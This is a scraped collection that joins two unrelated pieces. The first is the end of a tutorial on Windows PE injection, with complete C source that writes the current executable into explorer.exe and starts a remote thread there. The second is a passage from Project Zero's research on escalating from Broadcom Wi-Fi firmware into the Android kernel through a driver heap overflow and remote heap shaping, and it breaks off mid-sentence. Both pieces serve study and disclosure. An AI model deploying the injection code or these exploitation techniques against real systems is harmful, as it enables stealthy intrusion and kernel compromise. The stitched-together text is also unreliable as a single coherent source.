main\(\), wmain\(\) function. Instead of having my main function starting
with:

It started with:

I don’t know why this wild breakpoint is added, I had the same behavior on
several OS version, this is maybe a Visual Studio trick \(in release mode I
still have the breakpoint...\). Also the breakpoint is not added to the entry
point but to any function called "main\(\)", and no others.  
If we plan to use runtime library we need a main\(\) function so I just patch
the main function first instruction before injecting the code.

[code]       1. /* Remove wild breakpoint at beginning of main function */

      2. tmpBuffer[(DWORD)main - (DWORD)module] = 0x55;// put the normal push ebp instruction
    
    
[/code]

I hope someone can explain me what happens and have a nicer solution.

### III.4 Compatibility layer

On some OS, when starting the exe in Visual Studio, the Microsoft
compatibility Layer map Kernel32.dll on AcLayers.dll. Because of that calling
GetProcAddress routine in the injected code will fail because it will be
linked to a stubbed function declared in AcLayers.dll which will not be loaded
in the target process.  
The problem is you may want to call GetProcAddress in your injected code, also
it is mandatory if you use Microsoft Runtime Library. I had this behavior on
Vista but not on 7 64bit, it may depend on OS and version of Visual Studio.
You can find more about AcLayers.dll problems related to this topic here.

In any case this problem only occurs when starting the injector program
directly from Visual Studio IDE \(which itself loads AcLayers.dll\).  
So my recommendation is **do not** run the injector executable from Visual
Studio.

## IV Simple implementation source code

To finish, here is an implementation of this technique with a lot of
commentaries.

[code]       1. /* Some includes */

      2. #include <windows.h>
      3. #include <tlhelp32.h>
      4. #include <process.h>
      5. #include <stdio.h>
      6. #pragma comment (lib, "winmm.lib")
      7. #pragma comment (lib, "kernel32.lib") 
      8. /**
      9.  * Return the ID of a process from its name
      10.  * @param Name of target process
      11.  * @return Process ID
      12.  */
      13. DWORD GetProcessIdByName(LPWSTR name)
      14. {
      15.     PROCESSENTRY32 pe32;
      16.     HANDLE snapshot = NULL;
      17.     DWORD pid = 0;
      18.     snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
      19.     if (snapshot != INVALID_HANDLE_VALUE)
      20.     {
      21.         pe32.dwSize = sizeof(PROCESSENTRY32);
      22.         if (Process32First(snapshot, &pe32))
      23. 	{
      24.             do 
      25. 	    {
      26.                 if (!lstrcmp(pe32.szExeFile, name))
      27. 		{
      28. 			pid = pe32.th32ProcessID;
      29. 			break;
      30.                 }
      31.             } while (Process32Next(snapshot, &pe32));
      32.         }
      33.         CloseHandle(snapshot);
      34.     }
      35.     return pid;
      36. }
      37. /**
      38.  * Injected program entry point after Runtime library is initialized
      39.  * Can call any runtime and system routines.
      40.  * first declared here because I need its address to remove breakpoint in main function
      41.  */
      42. DWORD  main();
      43. /**
      44.  * Normal starting point of any program in windows. It is declared in runtime library and will call main() or wmain() function
      45.  */
      46. extern "C" void mainCRTStartup();
      47. /**
      48.  * Inject a PE module in the target process memory
      49.  * @param proc Handle to target process
      50.  * @param module PE we want to inject
      51.  * @return Handle to injected module in target process 
      52.  */
      53. HMODULE injectModule(HANDLE proc, LPVOID module)
      54. {
      55.     DWORD i = 0;
      56.     DWORD_PTR delta = NULL;
      57.     DWORD_PTR olddelta=NULL;
      58.     /* Get module PE headers */
      59.     PIMAGE_NT_HEADERS headers = (PIMAGE_NT_HEADERS)((LPBYTE)module + ((PIMAGE_DOS_HEADER)module)->e_lfanew);
      60.     PIMAGE_DATA_DIRECTORY datadir;
      61.     /* Get the size of the code we want to inject */
      62.     DWORD moduleSize = headers->OptionalHeader.SizeOfImage;
      63.     LPVOID distantModuleMemorySpace = NULL;
      64.     LPBYTE tmpBuffer = NULL;
      65.     BOOL ok = FALSE;
      66.     if (headers->Signature != IMAGE_NT_SIGNATURE)
      67.         return NULL;
      68.     /* Check if calculated size really corresponds to module size */
      69.     if (IsBadReadPtr(module, moduleSize))
      70.         return NULL;
      71.     /* Allocate memory in the target process to contain the injected module image */
      72.     distantModuleMemorySpace = VirtualAllocEx(proc, NULL, moduleSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
      73.     if (distantModuleMemorySpace != NULL)
      74.     {
      75.         /* Now we need to modify the current module before we inject it */
      76. 	/* Allocate some space to process the current PE image in an temporary buffer */
      77.         tmpBuffer = (LPBYTE)VirtualAlloc(NULL, moduleSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
      78.         if (tmpBuffer != NULL)
      79. 	{
      80.             RtlCopyMemory(tmpBuffer, module, moduleSize);
      81. 			/* Get data of .reloc section */
      82.             datadir = &headers->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
      83.             if (datadir->Size > 0 && datadir->VirtualAddress > 0) 
      84. 	    {
      85. 		/* delta is offset of allocated memory in target process */
      86.                 delta = (DWORD_PTR)((LPBYTE)distantModuleMemorySpace - headers->OptionalHeader.ImageBase);
      87. 		/* olddelta is offset of image in current process */
      88.                 olddelta = (DWORD_PTR)((LPBYTE)module - headers->OptionalHeader.ImageBase);
      89. 		/* Point to first relocation block copied in temporary buffer */
      90.                 PIMAGE_BASE_RELOCATION reloc = (PIMAGE_BASE_RELOCATION)(tmpBuffer + datadir->VirtualAddress);
      91. 		/* Browse all relocation blocks */
      92.                 while(reloc->VirtualAddress != 0) 
      93. 		{
      94. 			/* We check if the current block contains relocation descriptors, if not we skip to the next block */
      95. 			if (reloc->SizeOfBlock >= sizeof(IMAGE_BASE_RELOCATION)) 
      96. 			{
      97. 				/* We count the number of relocation descriptors */
      98. 				DWORD relocDescNb = (reloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
      99. 				/* relocDescList is a pointer to first relocation descriptor */
      100. 				LPWORD relocDescList = (LPWORD)((LPBYTE)reloc + sizeof(IMAGE_BASE_RELOCATION));
      101. 				/* For each descriptor */
      102. 				for (i = 0; i < relocDescNb; i++) 
      103. 				{
      104. 					if (relocDescList[i] > 0) 
      105. 					{
      106. 						/* Locate data that must be reallocated in buffer (data being an address we use pointer of pointer) */
      107. 						/* reloc->VirtualAddress + (0x0FFF & (list[i])) -> add botom 12 bit to block virtual address */
      108. 						DWORD_PTR *p = (DWORD_PTR *)(tmpBuffer + (reloc->VirtualAddress + (0x0FFF & (relocDescList[i]))));
      109. 						/* Change the offset to adapt to injected module base address */
      110. 						*p -= olddelta;
      111. 						*p += delta;
      112. 					}
      113. 				}
      114. 			}
      115. 			/* Set reloc pointer to the next relocation block */
      116. 			reloc = (PIMAGE_BASE_RELOCATION)((LPBYTE)reloc + reloc->SizeOfBlock);
      117.                 }
      118. 		/* Remove wild breakpoint at begining of main function */
      119. 		tmpBuffer[(DWORD)main - (DWORD)module] = 0x55;// put the normal push ebp instruction
      120. 		/* Write processed module image in target process memory */
      121.                 ok = WriteProcessMemory(proc, distantModuleMemorySpace, tmpBuffer, moduleSize, NULL);
      122.             }
      123.             VirtualFree(tmpBuffer, 0, MEM_RELEASE);
      124.         }
      125.         if (!ok)
      126. 	{
      127.             VirtualFreeEx(proc, distantModuleMemorySpace, 0, MEM_RELEASE);
      128.             distantModuleMemorySpace = NULL;
      129.         }
      130.     }
      131.     /* Return base address of copied image in target process */
      132.     return (HMODULE)distantModuleMemorySpace;
      133. }
      134. /**
      135.  * Get debug privileges fo current process token
      136.  */
      137. BOOL EnableDebugPrivileges(void)
      138. {
      139.         HANDLE token;
      140.         TOKEN_PRIVILEGES priv;
      141.         BOOL ret = FALSE;
      142.         if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &token))
      143.        {
      144.             priv.PrivilegeCount = 1;
      145.             priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
      146.             if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &priv.Privileges[0].Luid) != FALSE &&
      147.             AdjustTokenPrivileges(token, FALSE, &priv, 0, NULL, NULL) != FALSE)
      148. 	     {
      149.                     ret = TRUE;
      150.               }
      151.              CloseHandle(token);
      152.         }
      153.         return ret;
      154. }
      155. /**
      156.  * Inject and start current module in the target process
      157.  * @param pid Target process ID
      158.  * @param start callRoutine Function we want to call in distant process
      159.  */
      160. BOOL peInjection(DWORD pid, LPTHREAD_START_ROUTINE callRoutine)
      161. {
      162.         HANDLE proc, thread;
      163. 	HMODULE module, injectedModule;
      164.         BOOL result = FALSE;
      165. 	/* Open distant process. This will fail if UAC activated and proces running with higher integrity control level */	
      166. 	proc = OpenProcess( PROCESS_CREATE_THREAD | 
      167.         PROCESS_QUERY_INFORMATION | 
      168.         PROCESS_VM_OPERATION | 
      169.         PROCESS_VM_WRITE | 
      170.         PROCESS_VM_READ, 
      171.         FALSE, 
      172.         pid );
      173.     if (proc != NULL) 
      174. 	{
      175. 		/* Get image of current process modules memory*/
      176. 		/* Note: This will return handle to  memory content of current module, which means current exe (we do not load any other module).  */
      177.         module = GetModuleHandle(NULL);
      178. 		/* Insert module image in target process*/
      179.         injectedModule = (HMODULE)injectModule(proc, module);
      180. 		/* injectedModule is the base address of the injected module in the target process */
      181.         if (injectedModule != NULL) 
      182. 		{
      183. 			/* Calculate the address of routine we want to call in the target process */
      184. 			/* The new address is:
      185. 			 Start address of copied image in target process + Offset of routine in copied image */
      186.             LPTHREAD_START_ROUTINE remoteThread = (LPTHREAD_START_ROUTINE)((LPBYTE)injectedModule + (DWORD_PTR)((LPBYTE)callRoutine - (LPBYTE)module));
      187. 			/* Call the distant routine in a remote thread	*/
      188. 			thread = CreateRemoteThread(proc, NULL, 0, remoteThread, NULL, 0, NULL);
      189.             if (thread != NULL) 
      190. 	    {
      191.                 CloseHandle(thread);
      192.                 result = TRUE;
      193.             }
      194.             else 
      195. 	    {
      196. 		/* If failed, release memory */
      197.                 VirtualFreeEx(proc, module, 0, MEM_RELEASE);
      198.             }
      199.         }
      200.         CloseHandle(proc);
      201.     }
      202.     return result;
      203. }
      204. /**
      205.  * Thread which will be called in remote process after injection
      206.  */
      207. DWORD WINAPI entryThread(LPVOID param)
      208. {
      209.     DWORD newModuleD = (DWORD)param;
      210.     MessageBox(NULL, L"Injection success. Now initializing runtime library.", NULL, 0);
      211.     mainCRTStartup (); 
      212.     MessageBox(NULL, L"This will never be called.", NULL, 0);
      213.     return 0;
      214. }
      215. /**
      216.  * Injected program entry point after Runtime library is initialized
      217.  * Can call any runtime and system routines.
      218.  */
      219. DWORD  main()
      220. {
      221. 	MessageBox(NULL, L"In Main ", NULL, 0);
      222. 	printf("This printf can work because runtime library is now initialized.\n");
      223. 	/* Do anything you want here, including spawning new threads */
      224. 	MessageBox(NULL, L"In main end", NULL, 0);
      225. 	/* Exit thread to avoid crashing the host */
      226. 	ExitThread(0);
      227.         return 0;
      228. }
      229. /**
      230.  * Module entry point when started by system.
      231.  * Do not use any runtime library function before injection is complete.
      232.  */
      233. void entryPoint()
      234. {
      235. 	MessageBox(NULL, L"entryPoint", NULL, 0);
      236. 	EnableDebugPrivileges();// Attempt to aquire debugging privileges
      237. 	peInjection(GetProcessIdByName(L"explorer.exe"), entryThread);
      238. }
    
    
[/code]

Download

  

# Over The Air: Exploiting Broadcom’s Wi-Fi Stack \(Part 2\)

**Created:**| _5/7/2017 10:44:50 AM_  
---|---  
**Updated:**| _5/7/2017 10:44:50 AM_  
**Author:**| __  
**Tags:**| _wireless_  
  

  

###  Over The Air: Exploiting Broadcom’s Wi-Fi Stack \(Part 2\)

Posted by Gal Beniamini, Project Zero

**  
**

In this blog post we'll continue our journey into gaining remote kernel code
execution, by means of Wi-Fi communication alone. Having previously developed
a remote code execution exploit giving us control over Broadcom’s Wi-Fi SoC,
we are now left with the task of exploiting this vantage point in order to
further elevate our privileges into the kernel.

  

<img src='img/fHfLZtpRiCjMfarG-
JkZzPlEySYAPfiGtBrke_xhSjM3qP-b2MvnAMPMzCo5oUh2TzP9tJdm3yXIhB-j5-x7lWZdgsaTQFGFNa4ghW3wKgKAcZrKFF4flKuYuJd_mUJ_wMZu95R6.png'
width='421' height='162' alt='progress (2).png' />

**  
**

In this post, we’ll explore two distinct avenues for attacking the host
operating system. In the first part, we’ll discover and exploit
vulnerabilities in the communication protocols between the Wi-Fi firmware and
the host, resulting in code execution within the kernel. Along the way, we’ll
also observe a curious vulnerability which persisted until quite recently,
using which attackers were able to directly attack the internal communication
protocols without having to exploit the Wi-Fi SoC in the first place\! In the
second part, we’ll explore hardware design choices allowing the Wi-Fi SoC in
its current configuration to fully control the host without requiring a
vulnerability in the first place.

**  
**

While the vulnerabilities discussed in the first part have been disclosed to
Broadcom and are now fixed, the utilisation of hardware components remains as
it is, and is currently not mitigated against. We hope that by publishing this
research, mobile SoC manufacturers and driver vendors will be encouraged to
create more secure designs, allowing a better degree of separation between the
Wi-Fi SoC and the application processor.

###  Part 1 - The “Hard” Way

####  The Communication Channel

**  
**

As we’ve established in the previous blog post, the Wi-Fi firmware produced by
Broadcom is a FullMAC implementation. As such, it’s responsible for handling
much of the complexity required for the implementation of 802.11 standards
\(including the majority of the MLME layer\).

**  
**

Yet, while many of the operations are encapsulated within the Wi-Fi chip’s
firmware, some degree of control over the Wi-Fi state machine is required
within the host’s operating system. Certain events cannot be handled solely by
the Wi-Fi SoC, and must therefore be communicated to the host’s operating
system. For example, the host must be notified of the results of a Wi-Fi scan
in order to be able to present this information to the user.

**  
**

In order to facilitate these cases where the host and the Wi-Fi SoC wish to
communicate with one another, a special communication channel is required.

**  
**

However, recall that Broadcom produces a wide range of Wi-Fi SoCs, which may
be connected to the host via many different interfaces \(including USB, SDIO
or even PCIe\). This means that relying on the underlying communication
interface might require re-implementing the shared communication protocol for
each of the supported channels -- quite a tedious task.

**  
**

<img
src='img/LZjg7JIWp7m1OCuICs3RNt38HqH1LmZ9VGu_RkIUjC_5Z2DEDZYzMKKO0NeEKloN877QCmwk8SktI24sPU68OHR6SrLi2DN-6JSg_HZuTUz8I0BbWqdi5Vxu6d8iYYS6uyv61YWQ.png'
width='361' height='98' alt='interfaces.png' />

**  
**

Perhaps there’s an easier way? Well, one thing we can always be certain of is
that regardless of the communication channel used, the chip must be able to
transmit received frames back to the host. Indeed, perhaps for the very same
reason, Broadcom chose to piggyback on top of this channel in order to create
the communication channel between the SoC and the host.

**  
**

When the firmware wishes to notify the host of an event, it does so by simply
encoding a “special” frame and transmitting it to the host. These frames are
marked by a “unique” EtherType value of 0x886C. They do not contain actual
received data, but rather encapsulate information about firmware events which
must be handled by the host’s driver.

**  
**

<img
src='img/x1jw1hgniqQtimzSAbajksAmWYhNspERCBtO8Uqz_jG4iw_AIrB7-mXggOzRBWJ0nSjM8RE0TFpVcSsamnzvtLsR_rQqjrudac1Wrb68iId1cbMGgZ0A8fb8f9O4U99yTj2D5lWV.png'
width='571' height='41' alt='ethertype (1).png' />

**  
**

####  Securing the Channel

**  
**

Now, let’s switch over the the host’s side. On the host, the driver can
logically be divided into several layers. The lower layers deal with the
communication interface itself \(such as SDIO, PCIe, etc.\) and whatever
transmission protocol may be tied to it. The higher layers then deal with the
reception of frames, and their subsequent processing \(if necessary\).

<img
src='img/6TVopD9mgMwwm58w6SqSLKCnsfezXw9yJN6sIVh7R2W5tAXweJa9YXoVErJnbSeQO7w5cF0trz-
Cv3Sd2cZi2T6rpi1IklVf0S3ROf1RJDR1y2-xymnIi29O5CM1iWghTiQeHiUT.png' width='142'
height='192' alt='driver layers.png' />

**  
**

First, the upper layers perform some initial processing on the received
frames, such as removing encapsulated data which may have been added on-top of
it \(for example, transmission power indicators added by the PHY module\).
Then, an important distinction must be made - is this a regular frame that
should be simply forwarded to the relevant network interface, or is it in fact
an encoded event that the host must handle?

**  
**

As we’ve just seen, this distinction is easily made\! Just take a look at the
ethertype and check whether it has the “special” value of 0x886C. If so,
handle the encapsulated event and discard the frame.

**  
**

Or is it?

**  
**

In fact, there is no guarantee that this ethertype is unused in every single
network and by every single device. Incidentally, it seems that the very same
ethertype is used for the LARQ protocol used in HPNA chips \(initially
developed by Epigram, and subsequently purchased by Broadcom\).

**  
**

Regardless of this little oddity - this brings us to our first question: how
can the Wi-Fi SoC and host driver distinguish between externally received
frames with the 0x886C ethertype \(which should be forwarded to the network
interface\), and internally generated event frames \(which should not be
received from external sources\)?

**  
**

This is a crucial question; the internal event channel, as we’ll see shortly,
is extremely powerful and provides a huge, mostly unaudited, attack surface.
If attackers are able to inject frames over-the-air that can subsequently be
processed as event frames by the driver, they may very well be able to achieve
code execution within the host’s operating system.

**  
**

Well… Until several months prior to this research \(mid 2016\), the firmware
made no effort to filter these frames. Any frame received as part of the data
RX-path, regardless of its ethertype, was simply forwarded blindly to the
host. As a result, attackers were able to remotely send frames containing the
special 0x886C ethertype, which were then processed by the driver as if they
were event frames created by the firmware itself\!

**  
**

So how was this issue addressed? After all, we’ve already established that
just filtering the ethertype itself is not sufficient. Observing the
differences between the pre- and post- patched versions of the firmware
reveals the answer: Broadcom went for a combined patch, targeting both the Wi-
Fi SoC’s firmware and the host’s driver.

**  
**

The patch adds a validation method \(is\_wlc\_event\_frame\) both to the
firmware’s RX path, and to the driver. On the chip’s side, the validation
method is called immediately before transmitting a received frame to the host.
If the validation method deems the frame to be an event frame, it is
discarded. Otherwise, the frame is forwarded to the driver. Then, the driver
calls the exact same verification method on received frames with the 0x886C
ethertype, and processes them only if they pass the same validation method.
Here is a short schematic detailing this flow:

**  
**

<img src='img/HDi1Od4oogpHO-
VebQS_P4i1BiDfpbPPWLy9_zIks9FJvAyCVZGdFQMtSJDPTWHfmrCiuMuUuw3h-Fd1pJkH_wS38cX-
OHdCOqgZ0ZWIucA6JnMSbmOblHHqSwNFvIqNflRatqoI.png' width='624' height='376'
alt='rxflow (2).png' />

**  
**

As long as the validation methods in the driver and the firmware remain
identical, externally received frames cannot be processed as events by the
driver. So far so good.

**  
**

However… Since we already have code-execution on the Wi-Fi SoC, we can simply
“revert” the patch. All it takes is for us to “patch out” the validation
method in the firmware, thereby causing any received frame to once again be
forwarded blindly to the host. This, in turn, allows us to inject arbitrary
messages into the communication protocol between the host and the Wi-Fi chip.
Moreover, since the validation method is stored in RAM, and all of RAM is
marked as RWX, this is as simple as writing “MOV R0, \#0; BX LR” to the
function’s prologue.

**  
**

<img
src='img/9NFPYsODF9SjgluCZ39WDZV8Kagdp1W0NLZfop98z_TLDdDuM2aTj5fzioEq2uOZIlN3rjZEz7ra3TUqoPG0OS5hEdjQX0_r3xhegr-
bMuafkC0UurErE718yZl3ft_doMw2FaAh.png' width='624' height='376'
alt='patchrxflow.png' />

**  
**

####  The Attack Surface

**  
**

As we mentioned earlier, the attack surface exposed by the internal
communication channel is huge. Tracing the control flow from the entry point
for handling event frames \(dhd\_wl\_host\_event\), we can see that several
events receive “special treatment”, and are processed independently \(see
wl\_host\_event and wl\_show\_host\_event\). Once the initial treatment is
done, the frames are inserted into a queue. Events are then dequeued by a
kernel thread whose sole purpose is to read events from the queue and dispatch
them to their corresponding handler function. This correlation is done by
using the event’s internal “event-type” field as an index into an array of
handler functions, called evt\_handler.

**  
**

<img
src='img/qr8kjTxl-1tPmA1qEY9O_x7j9LhBE8Q4Wkn4sEPk2T3rMWxr182__s_LSYCv2gGW1n1NUD2AlDAu-7vc3-5wJtLRR887N-Eav1MPiawwOHbPKnayfG8AtQap41iSopq4P4_ogP4B.png'
width='444' height='175' alt='handler_queue (1).png' />

**  
**

While there are up to 144 different supported event codes, the host driver for
Android, bcmdhd, only supports a much smaller subset of these. Nonetheless,
about 35 events are supported within the driver, each including their own
elaborate handlers.

**  
**

Now that we’re convinced that the attack surface is large enough, we can start
hunting for bugs\! Unfortunately, it seems like the Wi-Fi chip is considered
as “trusted”; as a result, some of the validations in the host’s driver are
insufficient… Indeed, auditing the relevant handler functions and auxiliary
protocol handlers outlined above, we find a substantial number of
vulnerabilities.

####  The Vulnerability

**  
**

Taking a closer look at the vulnerabilities we’ve found, we can see that they
all differ from one another slightly. Some allow for relatively strong
primitives, some weaker. However, most importantly, many of them have various
preconditions which must be fulfilled to successfully trigger them; some are
limited to certain physical interfaces, while others work only in certain
configurations of the driver. Nonetheless, one vulnerability seems to be
present in all versions of bcmdhd and in all configurations - if we can
successfully exploit it, we should be set.

**  
**

Let’s take a closer look at the event frame in question. Events of type
"WLC\_E\_PFN\_SWC" are used to indicate that a “Significant Wi-Fi Change”
\(SWC\) has occurred within the firmware and must be handled by the host.
Instead of directly handling these events, the host’s driver simply gathers
all the transferred data from the firmware, and broadcasts a “vendor event”
packet via Netlink to the cfg80211 layer.

**  
**

More concretely, each SWC event frame transmitted by the firmware contains an
array of events \(of type wl\_pfn\_significant\_net\_t\), a total count
\(total\_count\), and the number of events in the array \(pkt\_count\). Since
the total number of events can be quite large, it might not fit in a single
frame \(i.e., it might be larger than the the maximal MSDU\). In this case,
multiple SWC event frames can be sent consecutively - their internal data will
be accumulated by the driver until the total count is reached, at which point
the driver will process the entire list of events.

<img src='img/jml9Gh6d-npStFjaflNctY40GCppd-
UTcK6kAlOXPlj6ou5bnnQlohb6DYDAtzlEm98RexsK8bkUKOq9LKqnzLsGS8gj_oNLDDw43suMYxbkPkajJRPJp3RNsN3xlhi7v0F10VTB.png'
width='534' height='97' alt='swc.png' />

**  
**

Reading through the driver’s code, we can see that when this event code is
received, an initial handler is triggered in order to deal with the event. The
handler then internally calls into the "dhd\_handle\_swc\_evt" function in
order to process the event's data. Let’s take a closer look:

  
1\. void\* dhd\_handle\_swc\_evt\(dhd\_pub\_t \*dhd,const void
\*event\_data,int \*send\_evt\_bytes\)  
2\. \{  
3\. ...  
4\. wl\_pfn\_swc\_results\_t \*results = \(wl\_pfn\_swc\_results\_t
\*\)event\_data;  
5\. ...  
6\. gscan\_params =
&\(\_pno\_state->pno\_params\_arr\[INDEX\_OF\_GSCAN\_PARAMS\].params\_gscan\);

7\. params = &\(gscan\_params->param\_significant\);  
8\. ...  
9\. if \(\!params->results\_rxed\_so\_far\) \{  
10\. if \(\!params->change\_array\) \{  
11\. params->change\_array = \(wl\_pfn\_significant\_net\_t \*\)  
12\. kmalloc\(sizeof\(wl\_pfn\_significant\_net\_t\) \*

13\. results->total\_count, GFP\_KERNEL\);  
14\. ...  
15\. \}  
16\. \}  
17\. ...  
18\. change\_array = &params->change\_array\[params->results\_rxed\_so\_far\];  
19\. memcpy\(change\_array,

20\. results->list,

21\. sizeof\(wl\_pfn\_significant\_net\_t\) \* results->pkt\_count\);  
22\. params->results\_rxed\_so\_far += results->pkt\_count;  
23\. ...  
24\. \}

  
\(where "event\_data" is the arbitrary data encapsulated in the event passed
in from the firmware\)

**  
**

As we can see above, the function first allocates an array to hold the total
count of events \(if one hasn’t been allocated before\) and then proceeds to
concatenate the encapsulated data starting from the appropriate index
\(results\_rxed\_so\_far\) in the buffer.

**  
**

However, the handler fails to verify the relation between the total\_count and
the pkt\_count\! It simply “trusts” the assertion that the total\_count is
sufficiently large to store all the subsequent events passed in. As a result,
an attacker with the ability to inject arbitrary event frames can specify a
small total\_count and a larger pkt\_count, thereby triggering a simple kernel
heap overflow.

####  Remote Kernel Heap Shaping

**  
**

This is all well and good, but how can we leverage this primitive from a
remote vantage point? As we’re not locally present on the device, we’re unable
to gather any data about the current state of the heap, nor do we have
address-space related information \(unless, of course, we’re able to somehow
leak this information\). Many classic exploits targeting kernel heap overflows
rely on the ability to shape the kernel’s heap, ensuring a certain state prior
to triggering an overflow - an ability we also lack at the moment.

**  
**

What do we know about the allocator itself? There are a few possible
underlying implementations for the kmalloc allocator \(SLAB, SLUB, SLOB\),
configurable when building the kernel. However, on the vast majority of
devices, kmalloc uses “SLUB” - an unqueued “slab allocator” with per-CPU
caches.

**  
**

Each “slab” is simply a small region from which identically-sized allocations
are carved. The first chunk in each slab contains its metadata \(such as the
slab’s freelist\), and subsequent blocks contain the allocations themselves,
with no inline metadata. There are a number of predefined slab size-classes
which are used by kmalloc, typically spanning from as little as 64 bytes, to
around 8KB. Unsurprisingly, the allocator uses the best-fitting slab
\(smallest slab that is large enough\) for each allocation. Lastly, the slabs’
freelists are consumed linearly - consecutive allocations occupy consecutive
memory addresses. However, if objects are freed within the slab, it may become
fragmented - causing subsequent allocations to fill-in “holes” within the slab
instead of proceeding linearly.

<img
src='img/HkUmh5af3gcTk9dRAccC5s2HeTy2M6k181zQ0MVwpsgqVTJwLa1uYkrp4-Oyu_NPaMiq-
zOecd3BC4ZiO-0NLPnun-UixJhCIzelRPw69mAEHRlxa-6Jw5cPr2Z82Be0vIkqSFEE.png'
width='308' height='227' alt='slub.png' />

With this in mind, let’s take a step back and analyse the primitives at hand.
First, since we are able to arbitrarily specify any value in total\_count, we
can choose the overflown buffer’s size to be any multiple of
sizeof\(wl\_pfn\_significant\_net\). This means we can inhabit any slab cache
size of our choosing. As such, there’s no limitation on the size of the
objects we can target with the overflow. However, this is not quite enough…
For starters, we still don’t know anything about the current state of the
slabs themselves, nor can we trigger remote allocations in slabs of our
choosing.

**  
**

It seems that first and foremost, we need to find a way to remotely shape
slabs. Recall, however, that there are a few obstacles we need to overcome. As
SLUB maintains per-CPU caches, the affinity of the kernel thread in which the
allocation is performed must be the same as the one from which the overflown
buffer is allocated. Gaining a heap shaping primitive on a different CPU core
will cause the allocations to be taken from different slabs. The most
straightforward way to tackle this issue is to confine ourselves to heap
shaping primitives which can be triggered from the same kernel thread on which
the overflow occurs. This is quite a substantial constraint… In essence, it
forces us to disregard allocations that occur as a result of processes that
are external to the event handling itself.

**  
**

Regardless, with a concrete goal in mind, we can start looking for heap
shaping primitives in the registered handlers for each of the event frames. As
luck would have it, after going through every handler, we come across a
\(single\) perfect fit\!

**  
**

Events frames of type “WLC\_E\_PFN\_BSSID\_NET\_FOUND” are handled by the
handler function dhd\_handle\_hotlist\_scan\_evt. This function accumulates a
linked list of scan results. Every time an event is received, its data is
appended to the list. Finally, when an event arrives with a flag indicating it
is the last event in the chain, the function passes on the collected list of
events to be processed. Let’s take a closer look:

**  
**

1\. void \*dhd\_handle\_hotlist\_scan\_evt\(dhd\_pub\_t \*dhd, const void
\*event\_data,

2\. int \*send\_evt\_bytes, hotlist\_type\_t type\)

3\. \{

4\. struct dhd\_pno\_gscan\_params \*gscan\_params;

5\. wl\_pfn\_scanresults\_t \*results = \(wl\_pfn\_scanresults\_t
\*\)event\_data;

6\. gscan\_params =
&\(\_pno\_state->pno\_params\_arr\[INDEX\_OF\_GSCAN\_PARAMS\].params\_gscan\);

7\. ...

8\. malloc\_size = sizeof\(gscan\_results\_cache\_t\) +

9\.  \(\(results->count \- 1\) \* sizeof\(wifi\_gscan\_result\_t\)\);

10\. gscan\_hotlist\_cache = \(gscan\_results\_cache\_t \*\)
kmalloc\(malloc\_size, GFP\_KERNEL\);

11\. ...

12\. gscan\_hotlist\_cache->next = gscan\_params->gscan\_hotlist\_found;

13\. gscan\_params->gscan\_hotlist\_found = gscan\_hotlist\_cache;

14\. ...

15\. gscan\_hotlist\_cache->tot\_count = results->count;

16\. gscan\_hotlist\_cache->tot\_consumed = 0;

17\. plnetinfo = results->netinfo;

18\. for \(i = 0; i < results->count; i++, plnetinfo++\) \{

19 hotlist\_found\_array = &gscan\_hotlist\_cache->results\[i\];

20\. ... //Populate the entry with the sanitised network information

21\. \}

22\. if \(results->status == PFN\_COMPLETE\) \{

23\. ... //Process the entire chain

24\. \}

25\. ...

26.\}

  

Awesome - looking at the function above, it seems that we’re able to repeatedly cause allocations of size \{ sizeof\(gscan\_results\_cache\_t\) \+ \(N-1\) \* sizeof\(wifi\_gscan\_result\_t\) | N > 0 \} \(where N denotes results->count\). What’s more, these allocations are performed in the same kernel thread, and their lifetime is completely controlled by us\! As long as we don’t send an event with the PFN\_COMPLETE status, none of the allocations will be freed.
**  
**

Before we move on, we’ll need to choose a target slab size. Ideally, we’re
looking for a slab that’s relatively inactive. If other threads on the same
CPU choose to allocate \(or free\) data from the same slab, this would add
uncertainty to the slab’s state and may prevent us from successfully shaping
it. After looking at /proc/slabinfo and tracing kmalloc allocations for every
slab with the same affinity as our target kernel thread, it seems that the
kmalloc-1024 slab is mostly inactive. As such, we’ll choose to target this
slab size in our exploit.

**  
**

By using the heap shaping primitive above we can start filling slabs of any
given size with “gscan” objects. Each “gscan” object has a short header
containing some metadata relating to the scan and a pointer to the next
element in the linked list. The rest of the object is then populated by an
inline array of “scan results”, carrying the actual data for this node.

<img
src='img/leNWj5Wtgoonizkyt0qWZQO7U3Tqww7oDRs86djkZVwjXkOT2f1dgypmSFOyAWAr3br1-x53BVd-i6iu24dTt8ATzvNielfsuT_iLF20KQfm4sQ4bp8pXZ1KMAgxFLTh5EUoPdOS.png'
width='532' height='71' alt='gscan.png' />

**  
**

Going back to the issue at hand - how can we use this primitive to craft a
predictable layout?

**  
**

Well, by combining the heap shaping primitive with the overflow primitive, we
should be able to properly shape slabs of any size-class prior to triggering
the overflow. Recall the initially any given slab may be fragmented, like so:

<img src='img/Ul7jNrl-
kxvodpbAatxGGw9xrq0mVb2sQ8k7MAwPuinej4h7N5uTp5k9090M1g22-vEq4qfzPjAkXixaJyXoBiE6rZNEICJyHdm0vE2a3RlNvRxi-0VeKsDO6UwoJYY6mVKY-
VTm.png' width='301' height='92' alt='heap1 (1).png' />

However, after triggering enough allocations \(e.g. \(SLAB\_TOTAL\_SIZE /
SLAB\_OBJECT\_SIZE\) - 1\) with our heap shaping primitive, all the holes \(if
present\) in the current slab should get populated, causing subsequent
allocations of the same size-class to be placed consecutively.

<img src='img/ccjSdNt33PDCdwBh4H7pngHDDatZ9MxoSoxsYP9FFHlh6WFXSCNaaX-
kzeSOulJORf3Uw9W4drTdzivhSlU7-7wpvsCQmaQ1IuohUHbETQw1U0jkVJ2YtchG2GEVdaCo_dvkW8xa.png'
width='624' height='107' alt='heap2 (2).png' />

**  
**

Now, we can send a single crafted SWC event frame, indicating a total\_count
resulting in an allocation from the same target slab. However, we don’t want
to trigger the overflow yet\! We still have to shape the current slab before
we do so. To prevent the overflow from occurring, we’ll provide a small
